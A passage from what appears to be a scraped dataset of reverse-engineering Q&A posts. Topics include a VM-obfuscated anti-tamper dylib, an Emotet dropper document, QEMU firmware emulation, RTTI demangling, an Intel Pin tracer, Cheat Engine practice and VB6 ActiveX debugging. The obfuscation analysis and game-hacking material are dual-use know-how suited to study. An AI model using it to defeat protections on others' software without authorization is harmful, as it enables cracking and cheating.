+000000010013E075 E8 B5 B4 0E 00                          call    sub_10022952F
+
+ +The entry (e.g. sub_10022952F) isn't a usual function. It will save all registers and point rsi to an embedded data location that is determined by the push (i.e. the push 1142985Ch above), then starts reading rsi array and jumping accordingly: + +
000000010013EED7 8B 06                                   mov     eax, [rsi]
+000000010013EED9 F5                                      ;; cmc
+000000010013EEDA 45 84 FD                                ;; test    r13b, r15b
+000000010013EEDD 48 81 C6 04 00 00 00                    add     rsi, 4
+000000010013EEE4 66 41 81 FA 1C 3B                       ;; cmp     r10w, 3B1Ch
+000000010013EEEA 33 C3                                   xor     eax, ebx
+000000010013EEEC D1 C0                                   rol     eax, 1
+000000010013EEEE E9 FD 8E 15 00                          jmp     loc_100297DF0
+
+0000000100297DF0 FF C0                                   inc     eax
+0000000100297DF2 0F C8                                   bswap   eax
+0000000100297DF4 F8                                      ;; clc
+0000000100297DF5 E9 F2 D6 E4 FF                          jmp     loc_1000E54EC
+
+00000001000E54EC C1 C0 03                                rol     eax, 3
+00000001000E54EF 0F C8                                   bswap   eax
+00000001000E54F1 53                                      push    rbx
+00000001000E54F2 31 04 24                                xor     [rsp], eax
+00000001000E54F5 0F B7 D8                                ;; movzx   ebx, ax
+00000001000E54F8 0F BA F3 82                             ;; btr     ebx, 82h
+00000001000E54FC 5B                                      pop     rbx
+00000001000E54FD F5                                      ;; cmc
+00000001000E54FE 49 F7 C7 E5 0F 9B 74                    ;; test    r15, 749B0FE5h
+00000001000E5505 F9                                      ;; stc
+00000001000E5506 48 63 C0                                movsxd  rax, eax
+00000001000E5509 48 03 F8                                add     rdi, rax
+00000001000E550C E9 D0 49 08 00                          jmp     loc_100169EE1
+
+0000000100169EE1 FF E7                                   jmp     rdi
+
+ +I've commented out junk code. The code will fetch value from [rsi] into rax, and do some bit-level-operation with rbx; then advance rdi <- rdi + rax; then jump to rdi. + +This structure is everywhere in the dylib, and in a chain connected by jmp rdi, the bit-level-operations are also the same. But chains from different entry point may have different bit operation for rax and rbx. + +The VM doesn't have any central structure (like a dispatcher or something), and the jumps go everywhere, not restricted to some location. + +To call external function like pthread_mutex_lock, it will go out of the VM loop first; then call the external function; then go to another entry point. There are many entry points (push xxxx / call xxxx) to enter VM loop. + +I believe this is some well-known technique, because when the dylib is modified, it will prompt message: + +
+ File corrupted! This program has been manipulated and maybe it's + infected by a Virus or cracked. This file won't work anymore. +
+ +It's not a standard Mac OS X message, and Google search for this exact message gives a lot of result, but none of them explains the technique itself. + +

Some additional information:

+ + + +pthread_mutex_lock --> 3 new operator --> pthread_mutex_unlock. + +And everything else is done inside by those jump rdi structures mentioned above and switches among many entries points. Therefore the rest of the code logic resides in the VM loop. +" +"['binary-analysis', 'malware']"," Title: Emotet invoice, what is the embedded file inside the word documentBody: This pastebin hosts current URLs hosting the fake invoice of Emotet malware, which is the dropper part of the malware. + +The document is a Office Open XML, and there are two large non textual segments in it. + +I can't make any sense of the other segment. + +One of them is this: + +I assume the other one contains at least some VB script and something else, but it decodes (assuming base64 like the jpg part) to nothing that file recognizes. +" +"['qemu', 'motorola']"," Title: Weird qemu behaviour with Freescale Coldfire MCF5282Body:
+I'm trying reverse engineer the firmware, apparently bare metal, of an industrial controller. The device is based on a Coldfire controller, to be more precise, the MCF5282. To track its behavior, I want to use Qemu in its M68k fashion which is supporting already the MCF5206 and the MCF5208. The Coldfire implementation of Qemu lacks in many places, and it seems targeted to run Linux after the bootloader has left the hardware in a particular state. To run my firmware, I had to patch it removing all the hardware initialization, and write a new Qemu file for the CPU I wanted to target, the MCF5282.

+So far, It seems that my code is working, and the CPU is initialized as the initialization code I have skipped would have done. +When I start my emulation, strangeness begins, and there I ask for your help for understanding what is going on. +When I run + +
qemu-system-m68k -nographic -cpu m5282 -kernel Firmware.bin.qemuPatched \
+-serial telnet:127.0.0.1:4444,server,nowait \
+-serial telnet:127.0.0.1:4445,server,nowait \
+-serial telnet:127.0.0.1:4446,server,nowait \
+-d in_asm -D execution.log
+
+ +I expected all the instruction of the target CPU to be logged, and that's it is what's happened, at least until it reaches a branch instruction.
+That time forward, no more instructions are logged, though the emulation is continuing.

+I can say that emulation is continuing because if I add to the logged properties the target machine status, I see that the CPU state is changing after the that last instruction is logged and the PC is changing also.
+The strangeness does not stop here, and if I follow the PC values, I see that CPU is executing instructions in the firmware address space in an unexpected way, to make a long story short, it seems it is sampling the real flow without writing every single step.

+Does someone recognize in it the expected behavior?

+Also, at least one time, I found a call to a function (jsr) where the flow logged seems to indicate that function is not executed. +It just logs the next instruction, but looking at the CPU state it's clear that function has been executed. +Is Qemu which is malfunctioning, or it's just me who can not understand what is going on? + +
----------------
+IN:
+0x00004da6:  movel %fp@(8),%d6
+
+D0 = 00000064   A0 = 00082748   F0 = 7fff ffffffffffffffff  (         nan)
+D1 = 00000028   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)
+D2 = 00000025   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)
+D3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)
+D4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)
+D5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)
+D6 = 00000000   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)
+D7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)
+PC = 00004da6   SR = 2004 T:0 I:0 SI --Z--
+FPSR = 00000000 ----
+                                FPCR =     0000 X RN
+  A7(MSP) = 00000000 ->A7(USP) = 0008fe30   A7(ISP) = 00000000
+VBR = 0x00000000
+SFC = 0 DFC 0
+SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000
+DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000
+MMUSR 00000000, fault at 00000000
+----------------
+IN:
+0x00004daa:  jsr 0x4ca0
+
+D0 = 00000064   A0 = 00082748   F0 = 7fff ffffffffffffffff  (         nan)
+D1 = 00000028   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)
+D2 = 00000025   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)
+D3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)
+D4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)
+D5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)
+D6 = 00000064   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)
+D7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)
+PC = 00004daa   SR = 2000 T:0 I:0 SI -----
+FPSR = 00000000 ----
+                                FPCR =     0000 X RN
+  A7(MSP) = 00000000 ->A7(USP) = 0008fe30   A7(ISP) = 00000000
+VBR = 0x00000000
+SFC = 0 DFC 0
+SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000
+DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000
+MMUSR 00000000, fault at 00000000
+----------------
+IN:
+0x00004db0:  movew %d0,%d7
+
+D0 = 00000002   A0 = 000822c8   F0 = 7fff ffffffffffffffff  (         nan)
+D1 = 00000020   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)
+D2 = 0000007f   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)
+D3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)
+D4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)
+D5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)
+D6 = 00000064   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)
+D7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)
+PC = 00004db0   SR = 2000 T:0 I:0 SI -----
+FPSR = 00000000 ----
+                                FPCR =     0000 X RN
+  A7(MSP) = 00000000 ->A7(USP) = 0008fe30   A7(ISP) = 00000000
+VBR = 0x00000000
+SFC = 0 DFC 0
+SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000
+DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000
+MMUSR 00000000, fault at 00000000
+
+" +"['assembly', 'c']"," Title: Which operators use sal, shl, sar or shrBody: Which operators in C language would result in assembly commands such as sal, shl, sar or shr for example? +" +"['msvc', 'name-mangling']"," Title: How can I demangle the name in an RTTI Type Descriptor?Body: I'm currently browsing through RTTI information available in an MSVC++2003 executable (writing an IDAPython script to recreate structs for the class hierarchy). Apparently, as visualized here, the RTTI Type Descriptor stores something like the name of the classes or their constructor: + +
.?AVexception@@
+    .?AUescaped_list_error@boost@@
+    .?AVruntime_error@stlp_std@@
+
+ +However, it sports a mangling scheme I do not recognize yet. The name starts with a . which, according to this wiki, is not even a valid start for a mangled MSVC name. IDA and an online name demangler also cannot demangle these names. According to these scripts (s. ms_rtti4.idc) these should map to: + +
typeid(struct exception)
+    typeid(struct boost::escaped_list_error)
+    typeid(struct stlp_std::runtime_error)
+
+ +I tried removing the leading dot to get a valid start at least, but it is still invalid. Quickly writing an overly simplistic python line to at least fix namespaced class names... + +
return ""::"".join(reversed(name[4:-2].split(""@"")))
+
+ +...it of course fails with generic type names, as with these classes here: + +
ns::FunctionBase             (.?AVFunctionBase@ns@@)
+    ns::Z::P6AXPAX::?$FunctionT  (.?AV?$FunctionT@P6AXPAX@Z@ns@@)
+    ns::Z::P6AHH::?$FunctionT    (.?AV?$FunctionT@P6AHH@Z@ns@@)
+    ns::Z::P6AHPB_W::?$FunctionT (.?AV?$FunctionT@P6AHPB_W@Z@ns@@)
+    ns::Z::P6AHI::?$FunctionT    (.?AV?$FunctionT@P6AHI@Z@ns@@)
+
+ +I noticed removing the .?AU or .?AV prefix from those yields kinda useful results (missing the namespace sadly): + +
FunctionT@ns@@
+    FunctionT<void (__cdecl*)(void *)>
+    FunctionT<int (__cdecl*)(int)>
+    FunctionT<int (__cdecl*)(wchar_t const *)>
+    FunctionT<int (__cdecl*)(unsigned int)>
+
+ +...but again that one now doesn't work for non-generic names. + +I wonder if the RTTI Type Descriptor name scheme is documented, or if there is logic turning this into an actual RTTI name I can demangle with the usual tools? +" +"['crackme', 'cheat-engine']"," Title: Are there any crackme sites made for cheat engine or to practice game hacking particularly?Body: I've checked several crack me sites and they're all on reverse engineering applications. + +However, I would like to practice reverse engineering by manipulating game values. The cheat engine tool allows us to do this. There's also a bunch of other tools (ex. tsearch) but cheat engine is the most popular. It involves searching through the RAM for various values, and then manipulating the pointer, creating patches to have permanent effects in memory. + +The normal sites aren't a good practice for this because games typically have lots of changing values, especially those that change with user input. Are there any crackme sites which allow me to practice reverse engineering using cheat engine? +" +"['instrumentation', 'pintool', 'system-call', 'tracing']"," Title: Tracing calls, rets and instructions with Intel PinBody: I am writing a Pin tool with the following functionality: + +
    +
  1. It has to record instructions with arguments. (works well)
  2. +
  3. It has to record memory access operations associated with instructions. (works well)
  4. +
  5. It has to record a name of a function that is being called (if the name is available from external library). This functionality is based on calltrace.cpp from examples provided with Intel Pin. (Partially works well)
  6. +
  7. It has to record where a return instruction has landed (a function name, or, a main module of an instrumented executable). E.g. funcA is called, then funcB is called from funcA, then return from funcB lands in funcA. Recording of rets to functions partially works well, however I have no idea how to record return to the main module.
  8. +
+ +Before providing a source code let me describe what (as I think) is wrong with the output of a tool that I get. + +
    +
  1. Recording begins with a set of instructions that ends with return to a function that has not been called (or at least my PinTool didn't record it).
  2. +
+ +
+ [mov esp, esi] + + [pop ebx] + + R + + [pop edi] + + R + + [pop esi] + + R + + [pop ebp] + + R + + [ret 0x10] + + R + + InDirect RETURN to[RtlAnsiCharToUnicodeChar] +
+ +
    +
  1. Sometimes it records names of the functions that are called without corresponding call instruction:
  2. +
+ +
+ [push 0x77736e7c] + + W + + [push dword ptr [ebp-0x110]] + + RW + + [call 0x7779a490] + + W + + [LdrGetProcedureAddress] + + [LdrGetProcedureAddressForCaller] + + [RtlAcquireSRWLockExclusive] +
+ +
    +
  1. Similar is for rets. Even more sometimes it records return to the same function twice in a row (but it should not).
  2. +
+ +
+ [call 0x777a8b60] + + W + + [RtlRetrieveNtUserPfn] + + InDirect RETURN to[RtlDeactivateActivationContextUnsafeFast] +
+ +////OR//// + +
+ [mov ecx, dword ptr [edi]] + + R + + [call 0x7777e531] + + W + + [RtlAddAccessAllowedAce] + + [RtlAcquireSRWLockExclusive] + + InDirect RETURN to[RtlAddAccessAllowedAce] + + [RtlReleaseSRWLockExclusive] + + InDirect RETURN to[RtlAddAccessAllowedAce] + + InDirect RETURN to[RtlAddAccessAllowedAce] + + [mov esi, eax] +
+ +I feel like there is something fundamentally wrong in the way I handle these calls and rets ""decoding"". Can someone point me to where am I exactly wrong? Also two secondary questions. + +1) How to record return to the main module of an executable based on the instruction? + +2) Is there a way to get values of IARG_BRANCH_TARGET_ADDR and IARG_BRANCH_TAKEN outside of INS_InsertCall (or similar) functions? + +Thank you. + +The source code is below. + +
#include <stdio.h>
+//#include <chrono>
+#include ""pin.H""
+#include <string>
+#include <exception>
+
+FILE * ftrace;
+long long icount=0;
+long long ilimit=1000000;
+BOOL print_args=false;
+
+
+string invalid = ""invalid_rtn"";
+const string *Target2String(ADDRINT target)
+{
+    string name = RTN_FindNameByAddress(target);
+    if (name == """")
+        return &invalid;
+    else
+        return new string(name);
+}
+
+VOID  do_call_args(const string *s, ADDRINT arg0)
+{
+    fprintf(ftrace, ""\n[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+    fflush(ftrace);
+}
+
+/* ===================================================================== */
+
+VOID  do_call_args_indirect(ADDRINT target, BOOL taken, ADDRINT arg0)
+{
+    if (!taken) return;
+
+    const string *s = Target2String(target);
+    do_call_args(s, arg0);
+
+    if (s != &invalid)
+        delete s;
+}
+
+/* ===================================================================== */
+
+VOID  do_call(const string *s)
+{
+    fprintf(ftrace, ""\n[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+    fflush(ftrace);
+}
+
+VOID  do_ret(const string *s)
+{
+    fprintf(ftrace, ""\nDirect RETURN to[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+    fflush(ftrace);
+}
+
+/* ===================================================================== */
+
+VOID  do_call_indirect(ADDRINT target, BOOL taken)
+{
+    if (!taken) return;
+
+    const string *s = Target2String(target);
+    do_call(s);
+
+    if (s != &invalid)
+        delete s;
+}
+
+VOID  do_ret_indirect(ADDRINT target, BOOL taken)
+{
+    if (!taken) return;
+
+    const string *s = Target2String(target);
+    fprintf(ftrace, ""\nInDirect RETURN to[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+    fflush(ftrace);
+
+    if (s != &invalid)
+        delete s;
+}
+
+
+VOID Instruction(INS ins, VOID *v)
+{
+
+    //start = std::chrono::high_resolution_clock::now();
+    UINT32 memOperands = INS_MemoryOperandCount(ins);
+
+    fprintf(ftrace, ""\n[%s]\n"", (INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()
+    fflush(ftrace);
+    if (INS_IsCall(ins))
+    {
+        if (INS_IsDirectBranchOrCall(ins))
+        {
+            const ADDRINT target = INS_DirectBranchOrCallTargetAddress(ins);
+
+
+            INS_InsertPredicatedCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_args),
+                IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);
+
+        }
+        else
+        {
+            INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_indirect),
+                IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);
+        }
+    }
+    else
+    {
+        if (INS_IsRet(ins))
+        {
+            if (INS_IsDirectBranchOrCall(ins))
+            {
+                const ADDRINT target = INS_DirectBranchOrCallTargetAddress(ins);
+
+
+                INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_ret),
+                    IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);
+
+            }
+            else
+            {
+                INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_ret_indirect),
+                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);
+            }
+        }
+        else
+        {
+            // sometimes code is not in an image
+            RTN rtn = INS_Rtn(ins);
+
+            // also track stup jumps into share libraries
+            if (RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(ins) && "".plt"" == SEC_Name(RTN_Sec(rtn)))
+            {
+                if (print_args)
+                {
+                    INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
+                        IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);
+                }
+                else
+                {
+                    INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_indirect),
+                        IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);
+
+                }
+            }
+        }
+    }
+
+
+
+        for (UINT32 memOp = 0; memOp < memOperands; memOp++)
+        {
+
+            if (INS_MemoryOperandIsRead(ins, memOp))
+            {
+                fprintf(ftrace, ""R"");
+                icount++;
+
+            }
+
+            if (INS_MemoryOperandIsWritten(ins, memOp))
+            {
+
+                fprintf(ftrace, ""W"");
+                icount++;
+
+            }
+        }
+
+}
+VOID Fini(INT32 code, VOID *v)
+{    fprintf(ftrace, ""\n"");
+    fclose(ftrace);
+}
+INT32 Usage()
+{
+    PIN_ERROR( ""This Pintool prints a trace of memory addresses\n""
+              + KNOB_BASE::StringKnobSummary() + ""\n"");
+    return -1;
+}
+KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE, ""pintool"",
+    ""o"", ""pinatrace2.out"", ""specify output file name"");
+
+KNOB<long long> KnobInsLimit(KNOB_MODE_WRITEONCE, ""pintool"",
+    ""i"", ""1000"", ""specify instruction limit"");
+
+KNOB<BOOL>   KnobPrintArgs(KNOB_MODE_WRITEONCE, ""pintool"", ""a"", ""0"", ""print call arguments "");
+
+int main(int argc, char *argv[])
+{
+    PIN_InitSymbols();
+    if (PIN_Init(argc, argv)) return Usage();   
+    ilimit=KnobInsLimit.Value();   
+    ftrace = fopen(KnobOutputFile.Value().c_str(), ""w"");
+    print_args = KnobPrintArgs.Value();
+    INS_AddInstrumentFunction(Instruction, 0);
+    //TRACE_AddInstrumentFunction(Trace, 0);
+    PIN_AddFiniFunction(Fini, 0);   
+    PIN_StartProgram();
+
+    return 0;
+}
+
+" +"['ida', 'binary-analysis']"," Title: Combine various sub routines into one sub routine (IDA Pro)Body: Currently I am analyzing a .so file and there is a function which is supposed to be large (high number of nodes and edges). However, IDA Pro identified it as a small function, with various parts of the code being treated as individual sub routines and some of them have attributes of ""no return"". + +I tried to use append_func_tail to combine the sub routines together but the function returns false. + +I am trying to do these + + + +Is there a way to do the above? +" +"['firmware', 'radare2', 'embedded']"," Title: Setting register names in Radare2Body: I am reverse-engineering an 8051 architecture program of a specific chip. +The disassembly naturally doesn't contain any function names, and the register names are minimal. For example, address 0xb3 is a specific register with the name ""RTC2CON"". since the register name is specific for the chip the disassembly doesn't show it but rather ""0xb3"". + +My question is how can I set a rule that will replace every occurrence of a certain string in the disassembly (in this case 0xb3) with another string (the register name RTC2CON). + +Another Example + +
|           0x0000393b      c2e9           clr 0xe8.1                  ; 
+|           0x0000393d      1239dd         lcall TRANSMIT_r7_AND_GET_r7=RF_STATUS
+|           0x00003940      e4             clr a
+|           0x00003941      ff             mov r7, a
+|           0x00003942      1239dd         lcall TRANSMIT_r7_AND_GET_r7=RF_STATUS
+|           0x00003945      8f36           mov 0x36, r7                ; 
+|           0x00003947      d2e9           setb 0xe8.1                 ; 
+\           0x00003949      22             ret
+
+ +To be more clear the chip is the nRF24LE1. In this example there is a manipulation on the special function register on adress 0xe8 (RFCON) +Bit 1 is firstly cleared, and after some operation it is set again. + +What I want is simply that the dissasembly will display RFCON.1 instead of 0xe8.1 + +Another problem I have is with a function that is called using ljmp instead of lcall. When I try to rename that function with afn the new name goes instead to the function calling it with ljmp. The function called has 58 XREFS and therefore it is very important to me to see it's name and not it's address when it is called. (functions default name is their fcn.address). +" +['linux']," Title: Significance of link address 2000 8000 7C00;Body: Can you explain to me the significance of link address 2000 8000 7C00? It's in a MACRO from the GRUB configure script, which checks whether OBJCOPY works for absolute addresses. + +Here's the snippet of the code: + +
AC_DEFUN([grub_PROG_OBJCOPY_ABSOLUTE],
+[AC_MSG_CHECKING([whether ${OBJCOPY} works for absolute addresses])
+AC_CACHE_VAL(grub_cv_prog_objcopy_absolute,
+[cat > conftest.c <<\EOF
+void
+cmain (void)
+{
+   *((int *) 0x1000) = 2;
+}
+EOF
+
+if AC_TRY_EVAL(ac_compile) && test -s conftest.o; then :
+else
+  AC_MSG_ERROR([${CC-cc} cannot compile C source code])
+fi
+grub_cv_prog_objcopy_absolute=yes
+for link_addr in 2000 8000 7C00; do
+  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :
+  else
+    AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])
+  fi
+  if AC_TRY_COMMAND([${OBJCOPY-objcopy} -O binary conftest.exec conftest]); then :
+  else
+    AC_MSG_ERROR([${OBJCOPY-objcopy} cannot create binary files])
+  fi
+  if test ! -f conftest.old || AC_TRY_COMMAND([cmp -s conftest.old conftest]); then
+    mv -f conftest conftest.old
+  else
+    grub_cv_prog_objcopy_absolute=no
+    break
+  fi
+done
+
+" +"['ida', 'windows', 'assembly', 'pe', 'com']"," Title: Set Breakpoint on ActiveX Property Being Set (No Symbols)Body: A program is loading an VB6 based ActiveX control that has several property, for example ConnectionString. +The application is dynamically generating the values it provides at runtime, so it is not straightforward to identify through static analysis. While I can dump memory of the process and find some of these values, some are not simple strings so not as straightforward to find this way. + +I built a test VB6 program and compiled with symbols with code like this: + +
Private Sub SetConnectionString()
+aABCFeeList1.ConnectionString = ""Provider=SQLOLEDB;Trusted_Connection=Yes;initial catalog=sql;data source=sqlserver;""
+End Sub
+
+ +In IDA this shows disassembled as: + +
.text:00401D20 ; void __stdcall Form1::SetConnectionString(Form1 *this)
+.text:00401D20 ?SetConnectionString@Form1@@AAGXXZ proc near ; CODE XREF: .text:004016E0j
+.text:00401D20
+.text:00401D20 var_20          = dword ptr -20h
+.text:00401D20 var_18          = dword ptr -18h
+.text:00401D20 var_14          = dword ptr -14h
+.text:00401D20 var_10          = dword ptr -10h
+.text:00401D20 var_8           = dword ptr -8
+.text:00401D20 var_4           = dword ptr -4
+.text:00401D20 this            = dword ptr  8
+.text:00401D20
+.text:00401D20                 push    ebp
+.text:00401D21                 mov     ebp, esp
+.text:00401D23                 sub     esp, 8
+.text:00401D26                 push    offset ___vbaExceptHandler
+.text:00401D2B                 mov     eax, large fs:0
+.text:00401D31                 push    eax
+.text:00401D32                 mov     large fs:0, esp
+.text:00401D39                 sub     esp, 28h
+.text:00401D3C                 push    ebx
+.text:00401D3D                 push    esi
+.text:00401D3E                 push    edi
+.text:00401D3F                 mov     [ebp+var_8], esp
+.text:00401D42                 mov     [ebp+var_4], offset dword_4010A0
+.text:00401D49                 sub     esp, 10h
+.text:00401D4C                 mov     ecx, 8
+.text:00401D51                 mov     edx, esp
+.text:00401D53                 mov     eax, offset ___vba@09EB2DB8
+.text:00401D58                 push    68030012h
+.text:00401D5D                 mov     [ebp+var_14], 0
+.text:00401D64                 mov     [edx], ecx
+.text:00401D66                 mov     ecx, [ebp+var_20]
+.text:00401D69                 mov     [edx+4], ecx
+.text:00401D6C                 mov     [edx+8], eax
+.text:00401D6F                 mov     eax, [ebp+var_18]
+.text:00401D72                 mov     [edx+0Ch], eax
+.text:00401D75                 mov     eax, [ebp+this]
+.text:00401D78                 push    eax
+.text:00401D79                 mov     ecx, [eax]
+.text:00401D7B                 call    dword ptr [ecx+2FCh]
+.text:00401D81                 lea     edx, [ebp+var_14]
+.text:00401D84                 push    eax
+.text:00401D85                 push    edx
+.text:00401D86                 call    ds:__imp____vbaObjSet
+.text:00401D8C                 push    eax
+.text:00401D8D                 call    ds:__imp____vbaLateIdSt
+.text:00401D93                 lea     ecx, [ebp+var_14]
+.text:00401D96                 call    ds:__imp____vbaFreeObj
+.text:00401D9C                 push    offset loc_401DAE
+.text:00401DA1                 jmp     short loc_401DAD
+.text:00401DA3 ; ---------------------------------------------------------------------------
+.text:00401DA3
+.text:00401DA3 loc_401DA3:                             ; DATA XREF: .text:004010ACo
+.text:00401DA3                 lea     ecx, [ebp+var_14]
+.text:00401DA6                 call    ds:__imp____vbaFreeObj
+.text:00401DAC                 retn
+.text:00401DAD ; ---------------------------------------------------------------------------
+.text:00401DAD
+.text:00401DAD loc_401DAD:                             ; CODE XREF: Form1::SetConnectionString(void)+81j
+.text:00401DAD                 retn
+.text:00401DAE ; ---------------------------------------------------------------------------
+.text:00401DAE
+.text:00401DAE loc_401DAE:                             ; CODE XREF: Form1::SetConnectionString(void):loc_401DADj
+.text:00401DAE                                         ; DATA XREF: Form1::SetConnectionString(void)+7Co
+.text:00401DAE                 mov     ecx, [ebp+var_10]
+.text:00401DB1                 pop     edi
+.text:00401DB2                 pop     esi
+.text:00401DB3                 xor     eax, eax
+.text:00401DB5                 mov     large fs:0, ecx
+.text:00401DBC                 pop     ebx
+.text:00401DBD                 mov     esp, ebp
+.text:00401DBF                 pop     ebp
+.text:00401DC0                 retn    4
+.text:00401DC0 ?SetConnectionString@Form1@@AAGXXZ endp
+
+ +In this case the connection string is being set at line + +
  .text:00401D53                 mov     eax, offset ___vba@09EB2DB8
+
+ +My question is how I can identify + +1) Which ActiveX control this code is configuring +2) Which property on the ActiveX control it is setting + +The program I need to find this in is much larger and more complex. + +Some other reference: + +
dword_4010A0    dd 40004h, 2 dup(0)   
+
+ +If I could find references to the ActiveX control in question I should be able to configure breakpoints. + +I set a breakpoint on module load of the ActiveX control in WinDbg, as I suspect I will need to capture initialization: + +
0:000> sxe ld FeeList.ocx
+0:000> g
+ModLoad: 75f50000 75f76000   C:\WINDOWS\SysWOW64\IMM32.DLL
+ModLoad: 73cd0000 73cdf000   C:\WINDOWS\SysWOW64\kernel.appcore.dll
+ModLoad: 73c10000 73c8c000   C:\WINDOWS\SysWOW64\uxtheme.dll
+ModLoad: 5fd70000 5fdf6000   C:\WINDOWS\SysWOW64\SXS.DLL
+ModLoad: 74080000 741c3000   C:\WINDOWS\SysWOW64\MSCTF.dll
+ModLoad: 704a0000 704c3000   C:\WINDOWS\SysWOW64\dwmapi.dll
+ModLoad: 76b70000 76bf3000   C:\WINDOWS\SysWOW64\clbcatq.dll
+ModLoad: 615b0000 615cf000   C:\adv2000\FeeList.ocx
+eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=007db8d8 edi=007db820
+eip=7744ab5c esp=0019e034 ebp=0019e080 iopl=0         nv up ei pl nz na po nc
+cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
+ntdll!NtMapViewOfSection+0xc:
+7744ab5c c22800          ret     28h
+0:000> kv
+ # ChildEBP RetAddr  Args to Child              
+00 0019e030 7741878f 000001cc ffffffff 007db8f0 ntdll!NtMapViewOfSection+0xc (FPO: [10,0,0])
+01 0019e080 7741856d 007db820 00000000 007db82c ntdll!LdrpMinimalMapModule+0xa0 (FPO: [Non-Fpo])
+02 0019e0a8 77415643 007db820 00000000 007db904 ntdll!LdrpMapDllWithSectionHandle+0x15 (FPO: [Non-Fpo])
+03 0019e0f8 7743418c 0019e2f8 007db820 00000000 ntdll!LdrpMapDllNtFileName+0x12f (FPO: [Non-Fpo])
+04 0019e228 7743393e 9e745ffd 0019e2f8 0019e2f4 ntdll!LdrpMapDllFullPath+0xbc (FPO: [0,71,4])
+05 0019e278 7742aff7 9e745f45 0019e438 0019e4c8 ntdll!LdrpProcessWork+0x10a (FPO: [SEH])
+06 0019e2c0 7741a8eb 00000600 00000004 00000000 ntdll!LdrpLoadDllInternal+0x17c (FPO: [SEH])
+07 0019e40c 77417d42 00000000 00000001 0019e430 ntdll!LdrpLoadDll+0x93 (FPO: [3,71,4])
+08 0019e490 76ee3b58 00002009 0019e4b8 0019e4c8 ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
+09 0019e4d4 762192c8 0019e598 00000000 00002008 KERNELBASE!LoadLibraryExW+0x148 (FPO: [Non-Fpo])
+0a 0019e4f8 76219245 00002008 0019e560 0019e598 combase!LoadLibraryWithLogging+0x1b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\common\loadfree.cxx @ 160] 
+0b 0019e524 762190a2 0019e558 0019e55c 0019e560 combase!CClassCache::CDllPathEntry::LoadDll+0x50 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2394] 
+0c 0019e56c 7621615b 0019e590 007db588 80004005 combase!CClassCache::CDllPathEntry::Create+0x35 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2235] 
+0d 0019e7c4 761fd3de 00000001 0019eb3c 0019e814 combase!CClassCache::CClassEntry::CreateDllClassEntry+0xf3 (FPO: [Non-Fpo]) (CONV: thiscall) [onecore\com\combase\objact\dllcache.cxx @ 1070] 
+0e 0019eaf4 761b5239 0019eb1c f57d20f9 0019eb28 combase!CClassCache::GetClassObjectActivator+0x52e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5516] 
